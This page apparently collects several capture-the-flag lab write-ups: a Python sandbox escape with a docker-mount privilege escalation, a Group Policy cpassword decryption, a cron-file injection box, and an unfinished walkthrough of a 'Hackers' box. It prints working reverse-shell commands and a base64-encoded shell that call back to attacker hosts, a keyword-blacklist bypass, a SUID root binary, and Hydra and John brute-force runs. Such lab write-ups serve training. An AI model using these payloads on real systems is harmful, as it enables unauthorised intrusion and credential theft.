Featured image


Active Machine Information

Python Playground v2

IP Address


1h 03m 33s


Jump in and grab those flags! They can all be found in the usual places (/home/someuser and /root).

#1 What is flag 1?
#2 What is flag 2?
#3 What is flag 3?

I started with nmap scan.

nmap -T4 -p- -A
Starting Nmap 7.80 ( ) at 2020-08-09 21:31 IST
Nmap scan report for
Host is up (0.25s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
|   256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_  256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: Python Playground!
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
1   448.71 ms
2   448.82 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 40.00 seconds

This showed that 2 ports, 22 and 80 are open. Moving on to the website hosted on port 80, I found the homepage with title Secure Python Playground.placeholder

The Login and Signup link ended nowhere but a “Go Back” page.

I ran ffuf to find the hidden directories and pages.

kali@kali:~/thm/python$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u "" -e .php,.html,.txt,.zip

 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/  v1.0.2 ________________________________________________  :: Method : GET :: URL : :: Extensions : .php .html .txt .zip :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 

admin.html              [Status: 200, Size: 3134, Words: 667, Lines: 118]
login.html              [Status: 200, Size: 549, Words: 152, Lines: 19]
index.html              [Status: 200, Size: 941, Words: 308, Lines: 30]
signup.html             [Status: 200, Size: 549, Words: 152, Lines: 19]

This gave me a page admin.html.The page had a login form and was using client side authentication.placeholderThe source of the page gave a link to the page a user would get redirected after login.The page worked fine without authentication.placeholder

Now I can run python code on this page.I tried to import os but that failed and after few attempts I came to know that i can’t use this word “import “.

I tried to read files on the machine and I was able to read shadow and passwd file,although they were not useful.placeholder

But this told me that maybe I am root on the machine the code is being ran on.

I tried to read /root/flag1.txt and got the first flag.


Since I had saw a hash in the javascript employed on the admin.html page. I thought to decrypt it. I reversed all the process and got the password.

def text_to_unicode(string):
    for char in string:
         a -= 97
    return uni     

def unicode_to_text(string):
    for char in range(0,len(string),2):
         a = int(string[char])    
         b = int(string[char +1])
         temp = a * 26
         temp += b
         out += chr(temp)
    return out
if __name__ == "__main__":
     stri1 = text_to_unicode(hash)
     stri2 = unicode_to_text(stri1)
     stri3 = text_to_unicode(stri2)
     password = unicode_to_text(stri3)

Used the password to login as connor user through SSH.

Got the second flag.

Now, I came to know that the website is running in a docker container and I am logged in the Host machine.

Since, the nmap scan already had given the information that the server is Node JS Express framework.I tried to read the index.js from the python code executer page.

const path = require('path');
const fs = require('fs');
const { spawn } = require('child_process');

const express = require('express');
const app = express();
const port = 3000;

    extended: false

app.use(express.static(path.join(__dirname, 'static')));

function isAllowed(code){
    if(typeof code !== 'string'){
        return false;
    if(code.indexOf('import ') >= 0){
        return false;
    if(code.indexOf('eval') >= 0){
        return false;
    if(code.indexOf('.system') >= 0){
        return false;
    if(code.indexOf('exec') >= 0){
        return false;

    return true;

function findAndInsert(str, find, insert){
    const i = str.indexOf(find) + find.length;

    return str.slice(0, i) + insert + str.slice(i);

function formatOut(code, output){
    const testingPanelHTML = fs.readFileSync('static/super-secret-admin-testing-panel.html');

    const insertedInput = findAndInsert(testingPanelHTML, '<textarea class="form-control mb-3" name="code">', code);
    const insertedOutput = findAndInsert(insertedInput, '<textarea class="form-control mb-3" readonly>', output);

    return insertedOutput;
}'/super-secret-admin-testing-panel.html', (req, res) => {
    const code = req.body.code;

        // Execute the code
        const name = `scripts/${Math.floor(Math.random() * 100000000000)}.py`;
        fs.writeFileSync(name, code);

        const python = spawn('python3', [name]);

        let output = '';
        python.stdout.on('data', (data) => {
            output += data.toString();
        python.stderr.on('data', (data) => {
            output += data.toString();
        python.on('close', (exit_code) => {

            output += '\nExit code ' + exit_code;

            res.send(formatOut(code, output));
    }else {
        res.send(formatOut(code, 'Security threat detected!'));

app.listen(port, () => console.log('Listening!'));

This shows that import, exec, .system, eval cannot be passed in the code.

This post helped to execute those blacklisted commands.

__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('ls -la')


I uploaded a from python-pty-shells in the form of base64 encoded string.

base64 -w 0 > hash
##Copied the text in hash file
##and then ran following command to upload the file
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('echo -n IyEvdXNyL2Jpbi9weXRob24yCiIiIgpSZXZlcnNlIENvbm5lY3QgVENQIFBUWSBTaGVsbCAtIHYxLjAKaW5mb2RveCAtIGluc2VjdXJldHkubmV0ICgyMDEzKQoKR2l2ZXMgYSByZXZlcnNlIGNvbm5lY3QgUFRZIG92ZXIgVENQLgoKRm9yIGFuIGV4Y2VsbGVudCBsaXN0ZW5lciB1c2UgdGhlIGZvbGxvd2luZyBzb2NhdCBjb21tYW5kOgpzb2NhdCBmaWxlOmB0dHlgLGVjaG89MCxyYXcgdGNwNC1saXN0ZW46UE9SVAoKT3IgdXNlIHRoZSBpbmNsdWRlZCB0Y3BfcHR5X3NoZWxsX2hhbmRsZXIucHkKIiIiCmltcG9ydCBvcwppbXBvcnQgcHR5CmltcG9ydCBzb2NrZXQKCmxob3N0ID0gIjEwLjExLjMuMTIyIiAjIFhYWDogQ0hBTkdFTUUKbHBvcnQgPSA5ODc2ICMgWFhYOiBDSEFOR0VNRQoKZGVmIG1haW4oKToKICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICBzLmNvbm5lY3QoKGxob3N0LCBscG9ydCkpCiAgICBvcy5kdXAyKHMuZmlsZW5vKCksMCkKICAgIG9zLmR1cDIocy5maWxlbm8oKSwxKQogICAgb3MuZHVwMihzLmZpbGVubygpLDIpCiAgICBvcy5wdXRlbnYoIkhJU1RGSUxFIiwnL2Rldi9udWxsJykKICAgIHB0eS5zcGF3bigiL2Jpbi9iYXNoIikKICAgIHMuY2xvc2UoKQoJCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBtYWluKCkKCg== | base64 -d >')
##This uploaded the file.
##Ran it using 

Got a reverse shell on the container

C:\Users\jacco>nc -nlvp 9876
listening on [any] 9876 ...
connect to [] from (UNKNOWN) [] 42928
root@playgroundweb:~/app# id
uid=0(root) gid=0(root) groups=0(root)
or we do it with

Alright, we are able to read files of the system! Let's see if we can create a reverse shell, let's use the python shell from the pentestmonkeys

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9876));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);
Hmmm... Now we get Security threat detected!. It looks like we are being limited in what we can import, if we just enter import os we get the same error. It looks like it might just be checking for text, so let's try another way of importing os with something called Dunder (double under) methodsos = __import__('os') no if we run this we get a nice clean Exit code 0. Looks like we can use this little trick to bypass the "security":
subprocess = __import__('subprocess')
os = __import__('os')
socket = __import__('socket')

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9876));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);
Don't forget to setup the nc listener on port 9876 and we get a shell! And it looks like a root shell too!
kali@kali:~/thm/python$ cat
def text_to_unicode(string):
for char in string:
a -= 97
return uni

def unicode_to_text(string):
for char in range(0,len(string),2):
a = int(string[char])
b = int(string[char +1])
temp = a * 26
temp += b
out += chr(temp)
return out

if __name__ == "__main__":
stri1 = text_to_unicode(hash)
stri2 = unicode_to_text(stri1)
stri3 = text_to_unicode(stri2)
password = unicode_to_text(stri3)

kali@kali:~/thm/python$ python

We can now

kali@kali:~/thm/python$ ssh connor@
connor@'s password:spaghetti1245
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-99-generic x86_64)

* Documentation:
* Management:
* Support:

System information as of Wed Aug 12 12:36:45 UTC 2020

System load: 0.0 Processes: 93
Usage of /: 49.4% of 9.78GB Users logged in: 0
Memory usage: 23% IP address for eth0:
Swap usage: 0% IP address for docker0:

32 packages can be updated.
0 updates are security updates.

Failed to connect to Check your Internet connection or proxy settings

Last login: Wed Aug 12 12:18:42 2020 from

Enumerating through the container, I found some logs at /mnt/log.

Ran Linpeas in the conatiner and found that /dev/xvda2 is mounted at /mnt/log, moreover this xvda2 is not present in container rather it is present in host.placeholder

I thought maybe somehow they are connected and sharing same data.

I visited the directory where the logs are stored in Linux /var/logs and found that this location is directly linked to the /mnt/log in container and if I write something through the container then that file is written with root as owner for both the host and the container.

Changed the permissions of /mnt/log directory to make /var/logs writable by connor,“chmod 777 .”

Thanks again to jammy for making me realize that the /mnt/log in the container was linked to /var/log on the parent machine just like I suspected earlier.
With this in mind we can create a file with suid bit set and execute it afterwards as connor. (This is possible because the root user id is the same across systems)

# printf 'int main(void){setresuid(0,0,0);system("/bin/sh");}'>tmp.c
# gcc tmp.c -o tmp
# chmod 777 tmp
# chmod +s tmp

connor@pythonplayground:~$ /var/log/tmp
# id
uid=0(root) gid=1000(connor) groups=1000(connor)

Author : Puckiestyle




Spoiler Alert

challenge at

I Lost my password can you find it?

First, download the file and unzip it.
In order to resolve this challenge, you need to decrypt something called “cpassword” that is easy thanks to this:“Microsoft published the AES encryption key used to protect cpassword attributes in Group Policy preference items (CVE-2014-1812 / MS14-025).”
If you use Windows, you can download this program that does not require installation:

Once downloaded you have to find the following file inside the unzipped challenge file: Policies\{75DE8F0A-DEC0-441F-AE29-90DFAFCF632B}\User\Preferences\Groups\Groups.xml
Once opened, you will see: cpassword=PCXrmCkYWyRRx3bf+zqEydW9/trbFToMDx6fAvmeCDw
This base64 string is broken. You need to add “=” at the end to make it fine.

Once done, execute the program with that base64 password and you will get the following:

gp3finder_v5.0.exe -D PCXrmCkYWyRRx3bf+zqEydW9/trbFToMDx6fAvmeCDw=

Group Policy Preference Password Finder (GP3Finder) 5.0.0
Copyright (C) 2020 Oliver Morton
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions. See GPLv2 License.

INFO: gp3finder: Decrypted password is 10 characters.
INFO: gp3finder: ———-
INFO: gp3finder: LocalRoot!
INFO: gp3finder: ———-

Author : Puckiestyle




Let’s find out what his agent is up to….

#1 What is Weston’s password?
#2 What’s the user flag?
#3 What’s the root flag?

Note: Try out the the room on

Lets get started 🙂

  • Start the enumeration “nmap -sC -sV -T4 <IP>”
E:\PENTEST>nmap -vv -sC -sV -T4
Starting Nmap 7.70 ( ) at 2020-08-06 14:28 W. Europe Summer Time
NSE: Loaded 148 scripts for scanning.
Initiating Ping Scan at 14:28
Scanning [4 ports]
Completed Ping Scan at 14:28, 2.56s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:28
Completed Parallel DNS resolution of 1 host. at 14:28, 0.01s elapsed
Initiating SYN Stealth Scan at 14:28
Scanning [1000 ports]
Discovered open port 80/tcp on
Discovered open port 22/tcp on
Discovered open port 21/tcp on
Scanned at 2020-08-06 14:28:08 W. Europe Summer Time for 22s
Not shown: 997 closed ports
Reason: 997 resets
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 396 May 25 23:33 dad_tasks
| ftp-syst:
| FTP server status:
| Connected to ::ffff:
| Logged in as ftp
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dd:fd:88:94:f8:c8:d1:1b:51:e3:7d:f8:1d:dd:82:3e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDn+KLEDP81/6ceCvdFeDrLFYWSWc6UnOmmpiNeXuyr+GRvE5Eff4DOeTbiEIcHQkkPcz2QXiOLd9SMjCEgAqmZiZE/mv1HJpQfmRLOufOlf9oZ1TIZf7ehKcVqX0W3nuQeC+M2wLBse2lGhovnTSaZKLKRjQCP2yD1EzND/xFA88oFpahvr6vJfyGOTADjc83AJq9n3Gnil4Nd88xNsIKTl01Mm9ikE/3n/XFbwzYa2bYJRVr+lWWRd+EU3sYTY80PQgBiw6ZPT0QCe0lQfmcgCqu4hC+t/kyfmMRlbtjN/yZJ0gCWeVVAV+A4NNgsOqFbXUT+c6ATzYNhBXRojJED
| 256 3e:ba:38:63:2b:8d:1c:68:13:d5:05:ba:7a:ae:d9:3b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA3G1rdbZBOf44Cvz2YGtC5WhIHfHQhtShY8miCVHayvHM/9reA8VvLx9jBOa+iClhm/HairgvNV6pYV6Jg6MII=
| 256 c0:a6:a3:64:44:1e:cf:47:5f:85:f6:1f:78:4c:59:d8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFiTPEbVpYmF2d/NDdhVYlXWA5PmTHhtrtlAaTiEuZOj
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Nicholas Cage Stories
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 24.05 seconds
Raw packets sent: 1004 (44.152KB) | Rcvd: 1001 (40.040KB)


We got port 80 open so went to the web and checked page source,network etc. but got nothing. Then I moved to the FTP port.

  • Connect to the FTP “ftp <IP>” use username and password as “anonymous”

And we are in now!

  • List the files and we got “dad_tasks” file, download it using “mget *”

Image for post

  • Open the file and it looks like base64 encoding, decode it using “strings dad_tasks | base64 -d”
  • Or use Python :
  • kali@kali:~/thm/python$ kali@kali:~/thm/python$ cat
    print open("FILE-WITH-STRING", "rb").read().decode("base64")
    kali@kali:~/thm/python$ cat FILE-WITH-STRING
    kali@kali:~/thm/python$ mv dad_tasks FILE-WITH-STRING
    kali@kali:~/thm/python$ python
    Qapw Eekcl - Pvr RMKP...XZW VWUR... TTI XEF... LAA ZRGQRO!!!!
    Sfw. Kajnmb xsi owuowge
    Faz. Tml fkfr qgseik ag oqeibx
    Eljwx. Xil bqi aiklbywqe
    Rsfv. Zwel vvm imel sumebt lqwdsfk
    Yejr. Tqenl Vsw svnt "urqsjetpwbn einyjamu" wf.
    Iz glww A ykftef.... Qjhsvbouuoexcmvwkwwatfllxughhbbcmydizwlkbsidiuscwl
    Dads Tasks - The RAGE...THE CAGE... THE MAN... THE LEGEND!!!!
    One. Revamp the website
    Two. Put more quotes in script
    Three. Buy bee pesticide
    Four. Help him with acting lessons
    Five. Teach Dad what "information security" is.
    In case I forget.... Mydadisghostrideraintthatcoolnocausehesonfirejokes

Image for post

Image for post

And you will get the password for #Task 1

Image for post

  • As the Task #1 said it’s the password for “weston”. So, now used it to log into the SSH. “ssh weston@<IP>” use the password which we got.

Image for post

  • Suddenly a popup came on the terminal which indicates some sort of cron job/file is running every 1–5mins and so.

Note: Download the pspy64 onto your local machine and then transfer it to box using “scp <Path for pspy file> weston@<ip>:/home/weston”

Also make it executable using “chmod +x pspy64” Then run “./pspy -pf -i 1000”

And we got some .py files which are running. (This will take some time)


  • View the .py file “ cat /opt/.dads_scripts/”

Image for post

Which is opening a file /opt/.dads_scripts/.files/.quotes

  • Add a netcat reverse shell into “.quotes” file using

echo “;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <Your IP> 1234 >/tmp/f” > .quotes

  • Start listening on your local machine using “nc -lvp 1234” and wait for 1–2 mins and you will get the connection.

Image for post

Note: Use the following command to move to terminal after getting reverse shell “ python -c ‘import pty; pty.spawn(“/bin/bash”)’ “

Now only thing is left to get Privilege Escalation for root!

We got 2 folders from user “cage” list the “email_backup” folder and read all the emails in it and again we got some gibberish text in “email_3″.

Image for post

I tried to decode it using the same site but it didn’t worked.

Read the email again and it seems the keyword to decode this was “FACE” decode it using CyberChef and we got the password for root!

Image for post

Move to the root directory and we get the file token for the challenge!!!

Author : Puckiestyle


Beveiligd: htb-unbalanced-private

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op


NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.

Today let’s play a KOTH called hackers

Room created by , TryHackMe profile

From the May collection of boxes, Hackers was designed to be a step up in difficulty from FoodCTF. With dynamic passwords and keys, this box is designed to be more replayable too.


Your first step should always be enumeration. If you don’t know where a door is, you can’t use it to get in. Let’s find those doors.

An nmap scan reveals 4 open ports, 21, 22, 80 and 9999. 9999 is running the king service, so this isn’t likely to be a way in.

root@ninja:~# nmap -sV -p-
Starting Nmap 7.80 ( ) at 2020-05-09 17:59 BST
Nmap scan report for
Host is up (0.022s latency).
Not shown: 65531 closed ports
21/tcp   open  ftp     vsftpd 2.0.8 or later
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
9999/tcp open  abyss?

Let’s check them out in numerical order. For FTP, it’s worth trying the username “Anonymous” with no password to see if that’s enabled.

Initial Access

root@ninja:~/koth-hackers# ftp
Connected to
220-Ellingson Mineral Company FTP Server
220-Unauthorised Access is a felony offense under the Computer Fraud and Abuse Act 1986
Name ( Anonymous
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp           400 Apr 29 03:57 note
226 Directory send OK.
ftp> get note
local: note remote: note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (400 bytes).
226 Transfer complete.
400 bytes received in 0.00 secs (1.2844 MB/s)
ftp> exit
221 Goodbye.

Sweet, we got access. There was a note on the FTP, let’s see what it says.

root@ninja:~/koth-hackers# cat note
Any users with passwords in this list:
will be subject to an immediate disciplinary hearing.
Any users with other weak passwords will be complained at, loudly.
These users are:
rcampbell:Robert M. Campbell:Weak password
gcrawford:Gerard B. Crawford:Exposing crypto keys, weak password
Exposing the company's cryptographic keys is a disciplinary offense.
Eugene Belford, CSO

2 accounts, with usernames. And hopefully still weak passwords. Let’s try the first password from that list on each account for SSH.

root@ninja:~/koth-hackers# ssh gcrawford@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:QpACQIiTeFQlJmWkWi2dXjqPsoLnSUJQ714SdksCOe4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986
gcrawford@ Permission denied (publickey).

root@ninja:~/koth-hackers# ssh rcampbell@
Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986
rcampbell@'s password: 
Permission denied, please try again.
rcampbell@'s password: 

So, Gerard Crawford’s account uses key authentication and has password auth disabled. But maybe their weak password is for FTP? Let’s chuck hydra at it and find out.

root@ninja:~/koth-hackers# hydra -l gcrawford -P /usr/share/wordlists/rockyou.txt -t 64
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2020-05-09 22:20:47
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking
[STATUS] 2470.00 tries/min, 2470 tries in 00:01h, 14342058 to do in 96:47h, 64 active
[STATUS] 2350.33 tries/min, 7051 tries in 00:03h, 14337477 to do in 101:41h, 64 active
[21][ftp] host:   login: gcrawford   password: evelina
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2020-05-09 22:27:13

We got creds! Let’s log in to the FTP server and see if we can get those crypto keys that Eugene complained at Gerard for exposing

root@ninja:~/koth-hackers# ftp 
Connected to
220-Ellingson Mineral Company FTP Server
220-Unauthorised Access is a felony offense under the Computer Fraud and Abuse Act 1986
Name ( gcrawford
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-x---    6 ftp      ftp          4096 Apr 30 04:25 .
drwxr-x---    6 ftp      ftp          4096 Apr 30 04:25 ..
lrwxrwxrwx    1 ftp      ftp             9 Apr 30 01:31 .bash_history -> /dev/null
-rw-r--r--    1 ftp      ftp           220 Apr 29 04:00 .bash_logout
-rw-r--r--    1 ftp      ftp          3771 Apr 29 04:00 .bashrc
drwx------    2 ftp      ftp          4096 Apr 29 17:05 .cache
drwx------    3 ftp      ftp          4096 Apr 29 17:05 .gnupg
drwxrwxr-x    3 ftp      ftp          4096 Apr 29 20:53 .local
-rw-r--r--    1 ftp      ftp           807 Apr 29 04:00 .profile
drwx------    2 ftp      ftp          4096 May 09 21:10 .ssh
-r--------    1 ftp      ftp           252 Apr 30 04:25 business.txt
226 Directory send OK.
ftp> get business.txt
local: business.txt remote: business.txt
150 Opening BINARY mode data connection for business.txt (252 bytes).
226 Transfer complete.
252 bytes received in 0.00 secs (70.7776 kB/s)
ftp> cd .ssh
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp           398 May 09 21:10 authorized_keys
-rw-------    1 ftp      ftp          1766 May 09 21:10 id_rsa
-rw-r--r--    1 ftp      ftp           398 May 09 21:10
226 Directory send OK.
ftp> get id_rsa
local: id_rsa remote: id_rsa
150 Opening BINARY mode data connection for id_rsa (1766 bytes).
226 Transfer complete.
1766 bytes received in 0.00 secs (6.1021 MB/s)
ftp> exit
221 Goodbye.

We got a key, and we got a note. Let’s check the note.

root@ninja:~/koth-hackers# cat business.txt 
Remember to send the accounts to Rich by 5pm Friday.

Remember to change my password, before the meeting with Mr Belford.
I hope he doesn't fire me. I need to provide for my family
I need to send Ben the flag too

So he’s aware of the weak password. Let’s check out the SSH key.

root@ninja:~/koth-hackers# chmod 600 id_rsa
root@ninja:~/koth-hackers# ssh -i id_rsa gcrawford@
Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986
Enter passphrase for key 'id_rsa': 
Enter passphrase for key 'id_rsa': 
Enter passphrase for key 'id_rsa': 
gcrawford@ Permission denied (publickey).

So, they key is encrypted and the password isn’t the same. But we can crack it using john. Let’s first convert it to a hash using ssh2john, and then set John The Ripper loose.

root@ninja:~/koth-hackers# python3 /usr/share/john/ id_rsa > ssh_hash.txt
/usr/share/john/ DeprecationWarning: decodestring() is a deprecated alias since Python 3.1, use decodebytes()
    data = base64.decodestring(data)
root@ninja:~/koth-hackers# john ssh_hash.txt --format=ssh --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
saturn1          (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:02 DONE (2020-05-09 22:36) 0.3649g/s 5234Kp/s 5234Kc/s 5234KC/sa6_123..*7¡Vamos!
Session completed

Even cracking inside a VM with 4 threads, that was fast. Now let’s get an SSH Session.

root@ninja:~/koth-hackers# ssh -i id_rsa gcrawford@
Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986
Enter passphrase for key 'id_rsa': 
Last login: Wed Apr 29 19:32:48 2020 from
gcrawford@gibson:~$ whoami
gcrawford@gibson:~$ ls
gcrawford@gibson:~$ ls -lah
total 40K
drwxr-x--- 6 gcrawford gcrawford 4.0K Apr 30 04:25 .
drwxr-xr-x 6 root      root      4.0K Apr 29 22:05 ..
lrwxrwxrwx 1 gcrawford gcrawford    9 Apr 30 01:31 .bash_history -> /dev/null
-rw-r--r-- 1 gcrawford gcrawford  220 Apr 29 04:00 .bash_logout
-rw-r--r-- 1 gcrawford gcrawford 3.7K Apr 29 04:00 .bashrc
-r-------- 1 gcrawford gcrawford  252 Apr 30 04:25 business.txt
drwx------ 2 gcrawford gcrawford 4.0K Apr 29 17:05 .cache
drwx------ 3 gcrawford gcrawford 4.0K Apr 29 17:05 .gnupg
drwxrwxr-x 3 gcrawford gcrawford 4.0K Apr 29 20:53 .local
-rw-r--r-- 1 gcrawford gcrawford  807 Apr 29 04:00 .profile
drwx------ 2 gcrawford gcrawford 4.0K May  9 21:10 .ssh
gcrawford@gibson:~$ sudo -l
[sudo] password for gcrawford:        
Matching Defaults entries for gcrawford on gibson:
    env_reset, pwfeedback, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User gcrawford may run the following commands on gibson:
    (root) /bin/nano /home/gcrawford/business.txt

Getting root from here is trivial, so I’ll drop a link to GTFOBins and move on.

Now, port 22. The other user wasn’t using key auth, so we might be able to bruteforce their login. Since bruteforcing SSH is slow and FTP uses the same login, let’s attack that with hydra again

root@ninja:~/koth-hackers# hydra -l rcampbell -P /usr/share/wordlists/rockyou.txt -t 64
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2020-05-09 22:47:36
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking
[21][ftp] host:   login: rcampbell   password: rosita
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2020-05-09 22:47:56

Let’s log in and see what we can do

Unauthorised access is a federal offense under the Computer Fraud and Abuse Act 1986
rcampbell@'s password: 

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

rcampbell@gibson:~$ sudo -l
[sudo] password for rcampbell:       
Sorry, user rcampbell may not run sudo on gibson.

Well. I guess we’ll come back to this user later on. Let’s move on to the webserver. If we open it up, we’re greeted with a page straight from the 90s. Ouch.

But maybe there’s more. Let’s see what else is on the webserver, by running gobuster.

root@ninja:~/koth-hackers# gobuster dir -u -w /usr/share/wordlists/dirb/common.txt 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/05/09 23:07:40 Starting gobuster
/backdoor (Status: 301)
/contact (Status: 301)
/img (Status: 301)
/index.html (Status: 301)
/news (Status: 301)
/robots.txt (Status: 200)
/staff (Status: 301)
2020/05/09 23:07:49 Finished

/backdoor. That looks… suspicious to say the least. Let’s see what’s there.

Screenshot showing the login page on /backdoor

A login page. We don’t have creds so let’s do some manual enumeration. Let’s look at the staff page. See who we’re dealing with.

Screenshot showing the page on /staff

Don’t just take pages at face value. We know Eugene is the CSO, but if you’ve seen the movie or googled a plot summary, you’ll know he’s sabotaging the company. It’s likely the backdoor is his.

Screenshot showing the HTML comment on /staff

Viewing source, we see a note. Looks like Eugene might have had to put together this page, and resents that. That comment, “plague”, is likely to be his username. Let’s capture a request and see what it looks like.

POST /api/login HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Connection: close


Now that we have a request, we can try and attack the API route with Hydra. The response was “Incorrect Credentials” so let’s use this as our failure condition.

E:\PENTEST\thc-hydra>hydra -l plague -P rockyou.txt http-post-form "/api/login:username=^USER^&password=^PASS^:Incorrect"
Hydra v8.7-dev (c) 2018 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2020-08-04 10:11:57
